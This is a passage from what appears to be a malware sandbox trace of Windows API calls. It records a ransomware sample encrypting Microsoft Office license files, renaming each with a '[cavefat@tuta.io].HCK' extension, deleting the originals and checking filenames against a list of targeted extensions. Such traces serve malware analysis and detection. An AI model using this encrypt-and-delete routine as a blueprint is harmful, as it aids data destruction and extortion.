office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0238.197] GetLastError () returned 0x0 [0238.197] ReadFile (in: hFile=0x560, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x29a7, lpOverlapped=0x0) returned 1 [0238.199] WriteFile (in: hFile=0x554, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0238.200] ReadFile (in: hFile=0x560, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.200] WriteFile (in: hFile=0x554, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x114, lpOverlapped=0x0) returned 1 [0238.200] SetEndOfFile (hFile=0x554) returned 1 [0238.201] CloseHandle (hObject=0x554) returned 1 [0238.201] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.201] SetEndOfFile (hFile=0x560) returned 1 [0238.204] CloseHandle (hObject=0x560) returned 1 [0238.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.205] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms")) returned 1 [0238.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0238.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0238.206] lstrlenW (lpString=".doc") returned 4 [0238.206] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.206] lstrlenW (lpString=".docx") returned 5 [0238.206] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.206] lstrlenW (lpString=".pdf") returned 4 [0238.206] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.206] lstrlenW (lpString=".xls") returned 4 [0238.206] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.206] lstrlenW (lpString=".xlsx") returned 5 [0238.206] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.206] lstrlenW (lpString=".ppt") returned 4 [0238.206] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0238.207] lstrlenW (lpString=".zip") returned 4 [0238.207] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.207] lstrlenW (lpString=".rar") returned 4 [0238.207] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.207] lstrlenW (lpString=".bz2") returned 4 [0238.207] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.207] lstrlenW (lpString=".7z") returned 3 [0238.207] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0238.207] lstrlenW (lpString=".dbf") returned 4 [0238.207] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0238.207] lstrlenW (lpString=".1cd") returned 4 [0238.207] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0238.207] lstrlenW (lpString=".jpg") returned 4 [0238.207] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0238.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0238.207] lstrlenW (lpString=".doc") returned 4 [0238.207] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.207] lstrlenW (lpString=".docx") returned 5 [0238.207] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.207] lstrlenW (lpString=".pdf") returned 4 [0238.207] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.207] lstrlenW (lpString=".xls") returned 4 [0238.207] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.207] lstrlenW (lpString=".xlsx") returned 5 [0238.207] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.207] lstrlenW (lpString=".ppt") returned 4 [0238.207] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0238.207] lstrlenW (lpString=".zip") returned 4 [0238.207] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.207] lstrlenW (lpString=".rar") returned 4 [0238.207] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.207] lstrlenW (lpString=".bz2") returned 4 [0238.207] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.207] lstrlenW (lpString=".7z") returned 3 [0238.208] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0238.208] lstrlenW (lpString=".dbf") returned 4 [0238.208] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0238.208] lstrlenW (lpString=".1cd") returned 4 [0238.208] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0238.208] lstrlenW (lpString=".jpg") returned 4 [0238.208] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.208] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.208] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 37 [0238.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0238.209] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=11621) returned 1 [0238.209] CloseHandle (hObject=0x560) returned 1 [0238.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms")) returned 0x220 [0238.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0238.210] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.210] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0238.211] GetLastError () returned 0x0 [0238.211] ReadFile (in: hFile=0x560, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x2d65, lpOverlapped=0x0) returned 1 [0238.213] WriteFile (in: hFile=0x554, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0238.214] ReadFile (in: hFile=0x560, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.214] WriteFile (in: hFile=0x554, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x11e, lpOverlapped=0x0) returned 1 [0238.214] SetEndOfFile (hFile=0x554) returned 1 [0238.214] CloseHandle (hObject=0x554) returned 1 [0238.215] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.215] SetEndOfFile (hFile=0x560) returned 1 [0238.219] CloseHandle (hObject=0x560) returned 1 [0238.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.219] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms")) returned 1 [0238.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0238.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0238.220] lstrlenW (lpString=".doc") returned 4 [0238.220] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.220] lstrlenW (lpString=".docx") returned 5 [0238.220] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.220] lstrlenW (lpString=".pdf") returned 4 [0238.220] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.221] lstrlenW (lpString=".xls") returned 4 [0238.221] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.221] lstrlenW (lpString=".xlsx") returned 5 [0238.221] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.221] lstrlenW (lpString=".ppt") returned 4 [0238.221] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0238.221] lstrlenW (lpString=".zip") returned 4 [0238.221] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.221] lstrlenW (lpString=".rar") returned 4 [0238.221] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.221] lstrlenW (lpString=".bz2") returned 4 [0238.221] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.221] lstrlenW (lpString=".7z") returned 3 [0238.221] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0238.221] lstrlenW (lpString=".dbf") returned 4 [0238.221] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0238.221] lstrlenW (lpString=".1cd") returned 4 [0238.221] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0238.221] lstrlenW (lpString=".jpg") returned 4 [0238.221] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0238.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0238.221] lstrlenW (lpString=".doc") returned 4 [0238.221] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.221] lstrlenW (lpString=".docx") returned 5 [0238.221] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.221] lstrlenW (lpString=".pdf") returned 4 [0238.221] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.221] lstrlenW (lpString=".xls") returned 4 [0238.221] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.221] lstrlenW (lpString=".xlsx") returned 5 [0238.221] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.221] lstrlenW (lpString=".ppt") returned 4 [0238.221] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0238.221] lstrlenW (lpString=".zip") returned 4 [0238.221] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.221] lstrlenW (lpString=".rar") returned 4 [0238.221] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.221] lstrlenW (lpString=".bz2") returned 4 [0238.221] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.221] lstrlenW (lpString=".7z") returned 3 [0238.221] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0238.222] lstrlenW (lpString=".dbf") returned 4 [0238.222] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0238.222] lstrlenW (lpString=".1cd") returned 4 [0238.222] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0238.222] lstrlenW (lpString=".jpg") returned 4 [0238.222] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.222] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.222] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 37 [0238.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0238.222] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=19966) returned 1 [0238.223] CloseHandle (hObject=0x560) returned 1 [0238.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms")) returned 0x220 [0238.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0238.223] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.223] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0238.224] GetLastError () returned 0x0 [0238.224] ReadFile (in: hFile=0x560, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x4dfe, lpOverlapped=0x0) returned 1 [0238.226] WriteFile (in: hFile=0x554, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0238.227] ReadFile (in: hFile=0x560, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.227] WriteFile (in: hFile=0x554, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x11e, lpOverlapped=0x0) returned 1 [0238.227] SetEndOfFile (hFile=0x554) returned 1 [0238.227] CloseHandle (hObject=0x554) returned 1 [0238.227] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.227] SetEndOfFile (hFile=0x560) returned 1 [0238.230] CloseHandle (hObject=0x560) returned 1 [0238.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.230] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms")) returned 1 [0238.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0238.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0238.231] lstrlenW (lpString=".doc") returned 4 [0238.231] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.599] lstrlenW (lpString=".docx") returned 5 [0238.600] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.600] lstrlenW (lpString=".pdf") returned 4 [0238.600] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.600] lstrlenW (lpString=".xls") returned 4 [0238.600] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.600] lstrlenW (lpString=".xlsx") returned 5 [0238.600] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.600] lstrlenW (lpString=".ppt") returned 4 [0238.600] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0238.600] lstrlenW (lpString=".zip") returned 4 [0238.600] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.600] lstrlenW (lpString=".rar") returned 4 [0238.600] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.600] lstrlenW (lpString=".bz2") returned 4 [0238.600] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.600] lstrlenW (lpString=".7z") returned 3 [0238.600] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0238.600] lstrlenW (lpString=".dbf") returned 4 [0238.600] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0238.600] lstrlenW (lpString=".1cd") returned 4 [0238.600] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0238.600] lstrlenW (lpString=".jpg") returned 4 [0238.600] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0238.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0238.600] lstrlenW (lpString=".doc") returned 4 [0238.600] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.600] lstrlenW (lpString=".docx") returned 5 [0238.600] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.600] lstrlenW (lpString=".pdf") returned 4 [0238.600] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.600] lstrlenW (lpString=".xls") returned 4 [0238.600] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.600] lstrlenW (lpString=".xlsx") returned 5 [0238.600] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.600] lstrlenW (lpString=".ppt") returned 4 [0238.600] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0238.601] lstrlenW (lpString=".zip") returned 4 [0238.601] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.601] lstrlenW (lpString=".rar") returned 4 [0238.601] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.601] lstrlenW (lpString=".bz2") returned 4 [0238.601] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.601] lstrlenW (lpString=".7z") returned 3 [0238.601] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0238.601] lstrlenW (lpString=".dbf") returned 4 [0238.601] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0238.601] lstrlenW (lpString=".1cd") returned 4 [0238.601] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0238.601] lstrlenW (lpString=".jpg") returned 4 [0238.601] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.601] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.601] lstrlenW (lpString="HomeBusinessR_Retail-ul-phn.xrm-ms") returned 34 [0238.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.602] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=19954) returned 1 [0238.602] CloseHandle (hObject=0x55c) returned 1 [0238.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms")) returned 0x220 [0238.602] GetFileAttributesW (lpFileName="C:\\Program 